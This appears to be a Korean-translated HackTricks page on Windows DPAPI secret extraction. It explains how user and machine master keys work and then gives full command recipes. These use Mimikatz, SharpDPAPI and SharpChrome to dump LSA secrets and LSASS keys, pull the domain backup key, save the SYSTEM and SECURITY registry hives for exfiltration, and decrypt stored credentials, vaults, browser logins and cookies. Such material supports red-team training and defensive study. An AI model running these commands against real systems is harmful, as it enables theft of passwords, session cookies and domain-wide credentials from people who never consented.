DPAPI - ๋น„๋ฐ€๋ฒˆํ˜ธ ์ถ”์ถœ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

DPAPI๋ž€ ๋ฌด์—‡์ธ๊ฐ€

The Data Protection API (DPAPI)๋Š” ์ฃผ๋กœ Windows ์šด์˜ ์ฒด์ œ์—์„œ ๋น„๋Œ€์นญ ๊ฐœ์ธ ํ‚ค์˜ ๋Œ€์นญ ์•”ํ˜ธํ™”๋ฅผ ์œ„ํ•ด ์‚ฌ์šฉ๋˜๋ฉฐ, ์‚ฌ์šฉ์ž ๋˜๋Š” ์‹œ์Šคํ…œ ๋น„๋ฐ€์„ ์—”ํŠธ๋กœํ”ผ์˜ ์ฃผ์š” ์†Œ์Šค๋กœ ํ™œ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๊ฐœ๋ฐœ์ž๊ฐ€ ์•”ํ˜ธํ™” ํ‚ค์˜ ๋ณดํ˜ธ๋ฅผ ์ง์ ‘ ๊ด€๋ฆฌํ•  ํ•„์š” ์—†์ด, ์‚ฌ์šฉ์ž์˜ ๋กœ๊ทธ์˜จ ๋น„๋ฐ€์—์„œ ํŒŒ์ƒ๋œ ํ‚ค(๋˜๋Š” ์‹œ์Šคํ…œ ์•”ํ˜ธํ™”์˜ ๊ฒฝ์šฐ ๋„๋ฉ”์ธ ์ธ์ฆ ๋น„๋ฐ€)๋ฅผ ์‚ฌ์šฉํ•ด ๋ฐ์ดํ„ฐ๋ฅผ ์•”ํ˜ธํ™”ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด ์•”ํ˜ธํ™” ๊ณผ์ •์„ ๋‹จ์ˆœํ™”ํ•ฉ๋‹ˆ๋‹ค.

๊ฐ€์žฅ ์ผ๋ฐ˜์ ์ธ ์‚ฌ์šฉ ๋ฐฉ์‹์€ CryptProtectData and CryptUnprotectData ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด์„œ์ด๋ฉฐ, ์ด ํ•จ์ˆ˜๋“ค์€ ํ˜„์žฌ ๋กœ๊ทธ์ธํ•œ ์„ธ์…˜์˜ ํ”„๋กœ์„ธ์Šค๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์•ˆ์ „ํ•˜๊ฒŒ ์•”ํ˜ธํ™”/๋ณตํ˜ธํ™”ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ์ฆ‰, ์•”ํ˜ธํ™”๋œ ๋ฐ์ดํ„ฐ๋Š” ๊ทธ๊ฒƒ์„ ์•”ํ˜ธํ™”ํ•œ ๋™์ผํ•œ ์‚ฌ์šฉ์ž ๋˜๋Š” ์‹œ์Šคํ…œ๋งŒ ๋ณตํ˜ธํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋˜ํ•œ ์ด ํ•จ์ˆ˜๋“ค์€ ์•”ํ˜ธํ™” ๋ฐ ๋ณตํ˜ธํ™” ์‹œ ํ•จ๊ป˜ ์‚ฌ์šฉ๋˜๋Š” entropy parameter๋ฅผ ๋ฐ›์„ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ์ด ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์‚ฌ์šฉํ•ด ์•”ํ˜ธํ™”ํ•œ ๊ฒƒ์„ ๋ณตํ˜ธํ™”ํ•˜๋ ค๋ฉด ์•”ํ˜ธํ™”์— ์‚ฌ์šฉ๋œ ๊ฒƒ๊ณผ ๋™์ผํ•œ entropy ๊ฐ’์„ ์ œ๊ณตํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์‚ฌ์šฉ์ž ํ‚ค ์ƒ์„ฑ

DPAPI๋Š” ๊ฐ ์‚ฌ์šฉ์ž์— ๋Œ€ํ•ด ๊ณ ์œ ํ•œ ํ‚ค(์ดํ•˜ pre-key)๋ฅผ ์‚ฌ์šฉ์ž์˜ ์ž๊ฒฉ ์ฆ๋ช…์„ ๊ธฐ๋ฐ˜์œผ๋กœ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ์ด ํ‚ค๋Š” ์‚ฌ์šฉ์ž์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ฐ ๊ธฐํƒ€ ์š”์†Œ์—์„œ ํŒŒ์ƒ๋˜๋ฉฐ ์•Œ๊ณ ๋ฆฌ์ฆ˜์€ ์‚ฌ์šฉ์ž ์œ ํ˜•์— ๋”ฐ๋ผ ๋‹ค๋ฅด์ง€๋งŒ ์ตœ์ข…์ ์œผ๋กœ๋Š” SHA1์œผ๋กœ ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž์˜ ๊ฒฝ์šฐ it depends on the NTLM hash of the user.

์ด ์ ์€ ๊ณต๊ฒฉ์ž์—๊ฒŒ ํฅ๋ฏธ๋กœ์šด๋ฐ, ๊ณต๊ฒฉ์ž๊ฐ€ ์‚ฌ์šฉ์ž์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ ํ•ด์‹œ๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด:

  • ํ•ด๋‹น ์‚ฌ์šฉ์ž์˜ ํ‚ค๋กœ ์•”ํ˜ธํ™”๋œ ์–ด๋–ค ๋ฐ์ดํ„ฐ๋“  DPAPI๋กœ ์•”ํ˜ธํ™”๋œ ๊ฒƒ์„ API ํ˜ธ์ถœ ์—†์ด ๋ณตํ˜ธํ™”ํ•  ์ˆ˜ ์žˆ๊ณ 
  • ์œ ํšจํ•œ DPAPI ํ‚ค๋ฅผ ์ƒ์„ฑํ•˜๋ ค๊ณ  ์˜คํ”„๋ผ์ธ์œผ๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํฌ๋ž™ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

๋˜ํ•œ ์‚ฌ์šฉ์ž๊ฐ€ DPAPI๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์•”ํ˜ธํ™”ํ•  ๋•Œ๋งˆ๋‹ค ์ƒˆ๋กœ์šด master key๊ฐ€ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. ์ด master key๊ฐ€ ์‹ค์ œ๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์•”ํ˜ธํ™”ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ํ‚ค์ž…๋‹ˆ๋‹ค. ๊ฐ master key๋Š” ์ด๋ฅผ ์‹๋ณ„ํ•˜๋Š” GUID(Globally Unique Identifier)๊ฐ€ ๋ถ€์—ฌ๋ฉ๋‹ˆ๋‹ค.

master keys๋Š” %APPDATA%\Microsoft\Protect\<sid>\<guid> ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์ €์žฅ๋˜๋ฉฐ, ์—ฌ๊ธฐ์„œ {SID}๋Š” ํ•ด๋‹น ์‚ฌ์šฉ์ž์˜ Security Identifier์ž…๋‹ˆ๋‹ค. master key๋Š” ์‚ฌ์šฉ์ž์˜ **pre-key**๋กœ ์•”ํ˜ธํ™”๋˜์–ด ์ €์žฅ๋˜๋ฉฐ, ๋ณต๊ตฌ๋ฅผ ์œ„ํ•ด domain backup key๋กœ๋„ ์•”ํ˜ธํ™”๋˜์–ด ์ €์žฅ๋ฉ๋‹ˆ๋‹ค(์ฆ‰, ๋™์ผํ•œ ํ‚ค๊ฐ€ ์„œ๋กœ ๋‹ค๋ฅธ ๋‘ ๋ฐฉ์‹์œผ๋กœ ๋‘ ๋ฒˆ ์•”ํ˜ธํ™”๋˜์–ด ์ €์žฅ๋จ).

์ฐธ๊ณ ๋กœ master key๋ฅผ ์•”ํ˜ธํ™”ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋œ domain key๋Š” ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์— ์กด์žฌํ•˜๋ฉฐ ๋ณ€๊ฒฝ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค, ๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ๋„๋ฉ”์ธ ๋ฐฑ์—… ํ‚ค๋ฅผ ํš๋“ํ•ด ๋„๋ฉ”์ธ ๋‚ด ๋ชจ๋“  ์‚ฌ์šฉ์ž์˜ master key๋ฅผ ๋ณตํ˜ธํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์•”ํ˜ธํ™”๋œ ๋ธ”๋กญ์—๋Š” ํ—ค๋”์— ๋ฐ์ดํ„ฐ๋ฅผ ์•”ํ˜ธํ™”ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋œ master key์˜ GUID๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

Tip

DPAPI encrypted blobs starts with 01 00 00 00

Find master keys:

Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}

This is what a bunch of Master Keys of a user will looks like:

Machine/System ํ‚ค ์ƒ์„ฑ

์ด๋Š” ๋จธ์‹ ์ด ๋ฐ์ดํ„ฐ๋ฅผ ์•”ํ˜ธํ™”ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•˜๋Š” ํ‚ค์ž…๋‹ˆ๋‹ค. ์ด ํ‚ค๋Š” SYSTEM ์‚ฌ์šฉ์ž๋งŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ํŠน์ˆ˜ํ•œ ํ‚ค์ธ DPAPI_SYSTEM LSA secret์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค. ์ด ํ‚ค๋Š” ๋จธ์‹  ์ˆ˜์ค€ ์ž๊ฒฉ์ฆ๋ช…์ด๋‚˜ ์‹œ์Šคํ…œ ์ „์ฒด ๋น„๋ฐ€์ฒ˜๋Ÿผ ์‹œ์Šคํ…œ ์ž์ฒด๊ฐ€ ์ ‘๊ทผํ•ด์•ผ ํ•˜๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ์•”ํ˜ธํ™”ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

์ด ํ‚ค๋“ค์€ ๋„๋ฉ”์ธ ๋ฐฑ์—…์ด ์—†์Šต๋‹ˆ๋‹ค ๋”ฐ๋ผ์„œ ๋กœ์ปฌ์—์„œ๋งŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”:

  • Mimikatz๋Š” mimikatz lsadump::secrets ๋ช…๋ น์œผ๋กœ LSA secrets๋ฅผ ๋คํ”„ํ•˜์—ฌ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ํ•ด๋‹น ๋น„๋ฐ€์€ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ์— ์ €์žฅ๋˜์–ด ์žˆ์œผ๋ฏ€๋กœ, ๊ด€๋ฆฌ์ž๋Š” DACL ๊ถŒํ•œ์„ ์ˆ˜์ •ํ•˜์—ฌ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ๊ฒฝ๋กœ๋Š”: HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM
  • ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ•˜์ด๋ธŒ์—์„œ ์˜คํ”„๋ผ์ธ ์ถ”์ถœ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ๋Œ€์ƒ์—์„œ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์œผ๋กœ ํ•˜์ด๋ธŒ๋ฅผ ์ €์žฅํ•˜๊ณ  exfiltrateํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
reg save HKLM\SYSTEM C:\Windows\Temp\system.hiv
reg save HKLM\SECURITY C:\Windows\Temp\security.hiv

๊ทธ๋Ÿฐ ๋‹ค์Œ ๋ถ„์„์šฉ ์‹œ์Šคํ…œ์—์„œ hives๋กœ๋ถ€ํ„ฐ DPAPI_SYSTEM LSA secret์„ ๋ณต๊ตฌํ•˜์—ฌ machine-scope blobs(์˜ˆ: scheduled task passwords, service credentials, Wiโ€‘Fi profiles ๋“ฑ)๋ฅผ ๋ณตํ˜ธํ™”ํ•˜์„ธ์š”:

mimikatz lsadump::secrets /system:C:\path\system.hiv /security:C:\path\security.hiv
# Look for the DPAPI_SYSTEM secret in the output

Protected Data by DPAPI

Among the personal data protected by DPAPI are:

  • Windows creds
  • Internet Explorer์™€ Google Chrome์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ฐ ์ž๋™์™„์„ฑ ๋ฐ์ดํ„ฐ
  • Outlook ๋ฐ Windows Mail๊ณผ ๊ฐ™์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์ด๋ฉ”์ผ ๋ฐ ๋‚ด๋ถ€ FTP ๊ณ„์ • ๋น„๋ฐ€๋ฒˆํ˜ธ
  • ๊ณต์œ  ํด๋”, ๋ฆฌ์†Œ์Šค, ๋ฌด์„  ๋„คํŠธ์›Œํฌ ๋ฐ Windows Vault(์•”ํ˜ธํ™” ํ‚ค ํฌํ•จ)์— ๋Œ€ํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ
  • ์›๊ฒฉ ๋ฐ์Šคํฌํ†ฑ ์—ฐ๊ฒฐ, .NET Passport ๋ฐ ๋‹ค์–‘ํ•œ ์•”ํ˜ธํ™”/์ธ์ฆ ์šฉ๋„์˜ ๊ฐœ์ธ ํ‚ค์— ๋Œ€ํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ
  • Credential Manager๋กœ ๊ด€๋ฆฌ๋˜๋Š” ๋„คํŠธ์›Œํฌ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ฐ CryptProtectData๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜(์˜ˆ: Skype, MSN messenger ๋“ฑ)์˜ ๊ฐœ์ธ ๋ฐ์ดํ„ฐ
  • ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ๋‚ด๋ถ€์˜ ์•”ํ˜ธํ™”๋œ ๋ธ”๋กญ
  • โ€ฆ

System protected data includes:

  • Wi-Fi ๋น„๋ฐ€๋ฒˆํ˜ธ
  • ์˜ˆ์•ฝ๋œ ์ž‘์—… ๋น„๋ฐ€๋ฒˆํ˜ธ
  • โ€ฆ

Master key extraction options

  • If the user has domain admin privileges, they can access the domain backup key to decrypt all user master keys in the domain:
# Mimikatz
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export

# SharpDPAPI
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
  • ๋กœ์ปฌ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์ด ์žˆ์œผ๋ฉด, ๋ชจ๋“  ์—ฐ๊ฒฐ๋œ ์‚ฌ์šฉ์ž์˜ DPAPI master keys์™€ SYSTEM key๋ฅผ ์ถ”์ถœํ•˜๊ธฐ ์œ„ํ•ด LSASS memory์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
# Mimikatz
mimikatz sekurlsa::dpapi
  • ์‚ฌ์šฉ์ž๊ฐ€ local admin privileges๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๋ฉด, DPAPI_SYSTEM LSA secret์— ์ ‘๊ทผํ•˜์—ฌ machine master keys๋ฅผ ๋ณตํ˜ธํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
# Mimikatz
lsadump::secrets /system:DPAPI_SYSTEM /export
  • ์‚ฌ์šฉ์ž์˜ password ๋˜๋Š” NTLM hash๊ฐ€ ์•Œ๋ ค์ ธ ์žˆ์œผ๋ฉด, ์‚ฌ์šฉ์ž์˜ master keys๋ฅผ ์ง์ ‘ decryptํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
# Mimikatz
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected

# SharpDPAPI
SharpDPAPI.exe masterkeys /password:PASSWORD
  • ๋งŒ์•ฝ ์‚ฌ์šฉ์ž์˜ ์„ธ์…˜์œผ๋กœ ์ ‘์†ํ•ด ์žˆ๋‹ค๋ฉด, DC์— RPC๋ฅผ ์‚ฌ์šฉํ•ด ๋งˆ์Šคํ„ฐ ํ‚ค๋ฅผ ๋ณตํ˜ธํ™”ํ•˜๊ธฐ ์œ„ํ•œ backup key to decrypt the master keys using RPC๋ฅผ ์š”์ฒญํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋กœ์ปฌ admin ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๊ณ  ์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์ธํ•œ ์ƒํƒœ๋ผ๋ฉด, ์ด๋ฅผ ์œ„ํ•ด steal his session tokenํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc

# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc

๋ณผํŠธ ๋ชฉ๋ก

# From cmd
vaultcmd /listcreds:"Windows Credentials" /all

# From mimikatz
mimikatz vault::list

DPAPI ์•”ํ˜ธํ™” ๋ฐ์ดํ„ฐ์— ์ ‘๊ทผ

DPAPI ์•”ํ˜ธํ™” ๋ฐ์ดํ„ฐ ์ฐพ๊ธฐ

์ผ๋ฐ˜ ์‚ฌ์šฉ์ž ๋ณดํ˜ธ๋œ ํŒŒ์ผ์€ ๋‹ค์Œ ์œ„์น˜์— ์žˆ์Šต๋‹ˆ๋‹ค:

  • C:\Users\username\AppData\Roaming\Microsoft\Protect\*
  • C:\Users\username\AppData\Roaming\Microsoft\Credentials\*
  • C:\Users\username\AppData\Roaming\Microsoft\Vault\*
  • ์œ„ ๊ฒฝ๋กœ๋“ค์—์„œ \Roaming\์„ \Local\๋กœ ๋ณ€๊ฒฝํ•œ ๊ฒƒ๋„ ํ™•์ธํ•˜์„ธ์š”.

์—ด๊ฑฐ ์˜ˆ์‹œ:

dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

SharpDPAPI๋Š” file system, registry ๋ฐ B64 blobs์—์„œ DPAPI ์•”ํ˜ธํ™”๋œ blobs๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# Search blobs in the registry
search /type:registry [/path:HKLM] # Search complete registry by default

# Search blobs in folders
search /type:folder /path:C:\path\to\folder
search /type:folder /path:C:\Users\username\AppData\

# Search a blob inside a file
search /type:file /path:C:\path\to\file

# Search a blob inside B64 encoded data
search /type:base64 [/base:<base64 string>]

์ฐธ๊ณ ๋กœ SharpChrome (๊ฐ™์€ ๋ฆฌํฌ์ง€ํ† ๋ฆฌ์˜)๋Š” DPAPI๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ cookies ๊ฐ™์€ ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ๋ณตํ˜ธํ™”ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Chromium/Edge/Electron ๋น ๋ฅธ ๋ ˆ์‹œํ”ผ (SharpChrome)

  • ํ˜„์žฌ ์‚ฌ์šฉ์ž, ์ €์žฅ๋œ ๋กœ๊ทธ์ธ/cookies์˜ ๋Œ€ํ™”ํ˜• ๋ณตํ˜ธํ™” (์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ์—์„œ ์‹คํ–‰๋  ๋•Œ ์ถ”๊ฐ€ ํ‚ค๊ฐ€ ์‚ฌ์šฉ์ž Credential Manager์—์„œ ํ•ด๊ฒฐ๋˜๊ธฐ ๋•Œ๋ฌธ์— Chrome 127+์˜ app-bound cookies์—์„œ๋„ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค):
SharpChrome logins  /browser:edge  /unprotect
SharpChrome cookies /browser:chrome /format:csv /unprotect
  • ์˜คํ”„๋ผ์ธ ๋ถ„์„(ํŒŒ์ผ๋งŒ ์žˆ์„ ๋•Œ). ๋จผ์ € ํ”„๋กœํ•„์˜ โ€œLocal Stateโ€œ์—์„œ AES state key๋ฅผ ์ถ”์ถœํ•œ ๋‹ค์Œ ์ด๋ฅผ ์‚ฌ์šฉํ•ด cookie DB๋ฅผ ๋ณตํ˜ธํ™”ํ•ฉ๋‹ˆ๋‹ค:
# Dump the AES state key from Local State (DPAPI will be used if running as the user)
SharpChrome statekeys /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Local State" /unprotect
# Copy the hex state key value (e.g., "48F5...AB") and pass it to cookies
SharpChrome cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Cookies" /statekey:48F5...AB /format:json
  • DPAPI ๋„๋ฉ”์ธ ๋ฐฑ์—… ํ‚ค (PVK)์™€ ๋Œ€์ƒ ํ˜ธ์ŠคํŠธ์˜ admin ๊ถŒํ•œ์„ ๋ณด์œ ํ•œ ๊ฒฝ์šฐ์˜ ๋„๋ฉ”์ธ ์ „์—ญ/์›๊ฒฉ triage:
SharpChrome cookies /server:HOST01 /browser:edge /pvk:BASE64
SharpChrome logins  /server:HOST01 /browser:chrome /pvk:key.pvk
  • ์‚ฌ์šฉ์ž์˜ DPAPI prekey/credkey (from LSASS)๊ฐ€ ์žˆ๋‹ค๋ฉด, password cracking์„ ๊ฑด๋„ˆ๋›ฐ๊ณ  ํ”„๋กœํ•„ ๋ฐ์ดํ„ฐ๋ฅผ ์ง์ ‘ decryptํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
# For SharpChrome use /prekey; for SharpDPAPI use /credkey
SharpChrome cookies /browser:edge /prekey:SHA1_HEX
SharpDPAPI.exe credentials /credkey:SHA1_HEX

์ฐธ๊ณ 

  • ์ตœ์‹  Chrome/Edge ๋นŒ๋“œ๋Š” ํŠน์ • ์ฟ ํ‚ค๋ฅผ โ€œApp-Boundโ€ ์•”ํ˜ธํ™”๋กœ ์ €์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํŠน์ • ์ฟ ํ‚ค๋Š” ์ถ”๊ฐ€์ ์ธ app-bound key ์—†์ด๋Š” ์˜คํ”„๋ผ์ธ ๋ณตํ˜ธํ™”๊ฐ€ ๋ถˆ๊ฐ€๋Šฅํ•˜๋ฏ€๋กœ, ํ•ด๋‹น ํ‚ค๋ฅผ ์ž๋™์œผ๋กœ ๊ฐ€์ ธ์˜ค๋ ค๋ฉด ๋Œ€์ƒ ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ์—์„œ SharpChrome์„ ์‹คํ–‰ํ•˜์„ธ์š”. ์•„๋ž˜์— ์ฐธ์กฐ๋œ Chrome ๋ณด์•ˆ ๋ธ”๋กœ๊ทธ ๊ฒŒ์‹œ๋ฌผ์„ ํ™•์ธํ•˜์„ธ์š”.

์•ก์„ธ์Šค ํ‚ค ๋ฐ ๋ฐ์ดํ„ฐ

  • Use SharpDPAPI๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ˜„์žฌ ์„ธ์…˜์˜ DPAPI๋กœ ์•”ํ˜ธํ™”๋œ ํŒŒ์ผ์—์„œ ์ž๊ฒฉ์ฆ๋ช…์„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค:
# Decrypt user data
## Note that 'triage' is like running credentials, vaults, rdg and certificates
SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect

# Decrypt machine data
SharpDPAPI.exe machinetriage
  • ์ž๊ฒฉ ์ฆ๋ช… ์ •๋ณด ๊ฐ€์ ธ์˜ค๊ธฐ ์˜ˆ: encrypted data ๋ฐ guidMasterKey.
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7

[...]
guidMasterKey      : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData             : b8f619[...snip...]b493fe
[..]
  • ๋งˆ์Šคํ„ฐํ‚ค์— ์ ‘๊ทผ:

RPC๋ฅผ ์‚ฌ์šฉํ•ด domain backup key๋ฅผ ์š”์ฒญํ•œ ์‚ฌ์šฉ์ž์˜ ๋งˆ์Šคํ„ฐํ‚ค๋ฅผ ๋ณตํ˜ธํ™”:

# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc

# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc

SharpDPAPI ๋„๊ตฌ๋Š” ๋งˆ์Šคํ„ฐํ‚ค ๋ณตํ˜ธํ™”๋ฅผ ์œ„ํ•ด ๋‹ค์Œ ์ธ์ž๋“ค๋„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค (์˜ˆ๋ฅผ ๋“ค์–ด /rpc๋กœ ๋„๋ฉ”์ธ์˜ ๋ฐฑ์—… ํ‚ค๋ฅผ ์–ป๊ฑฐ๋‚˜, /password๋กœ ํ‰๋ฌธ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜, /pvk๋กœ DPAPI ๋„๋ฉ”์ธ ๊ฐœ์ธ ํ‚ค ํŒŒ์ผ์„ ์ง€์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”โ€ฆ):

/target:FILE/folder     -   triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64...          -   use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk            -   use a DPAPI domain private key file to first decrypt reachable user masterkeys
/password:X             -   decrypt the target user's masterkeys using a plaintext password (works remotely)
/ntlm:X                 -   decrypt the target user's masterkeys using a NTLM hash (works remotely)
/credkey:X              -   decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
/rpc                    -   decrypt the target user's masterkeys by asking domain controller to do so
/server:SERVER          -   triage a remote server, assuming admin access
/hashes                 -   output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
  • ๋งˆ์Šคํ„ฐํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐ์ดํ„ฐ ๋ณตํ˜ธํ™”:
# Mimikatz
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>

# SharpDPAPI
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>

SharpDPAPI ๋„๊ตฌ๋Š” ๋˜ํ•œ credentials|vaults|rdg|keepass|triage|blob|ps ๋ณตํ˜ธํ™”๋ฅผ ์œ„ํ•ด ๋‹ค์Œ ์ธ์ˆ˜๋ฅผ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค (์ฐธ๊ณ ๋กœ /rpc๋ฅผ ์‚ฌ์šฉํ•ด domains backup key๋ฅผ ์–ป๊ฑฐ๋‚˜, /password๋กœ ํ‰๋ฌธ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜, /pvk๋กœ DPAPI domain private key file์„ ์ง€์ •ํ•˜๊ฑฐ๋‚˜, /unprotect๋กœ ํ˜„์žฌ ์‚ฌ์šฉ์ž ์„ธ์…˜์„ ์‚ฌ์šฉํ•˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹คโ€ฆ):

Decryption:
/unprotect          -   force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
/pvk:BASE64...      -   use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk        -   use a DPAPI domain private key file to first decrypt reachable user masterkeys
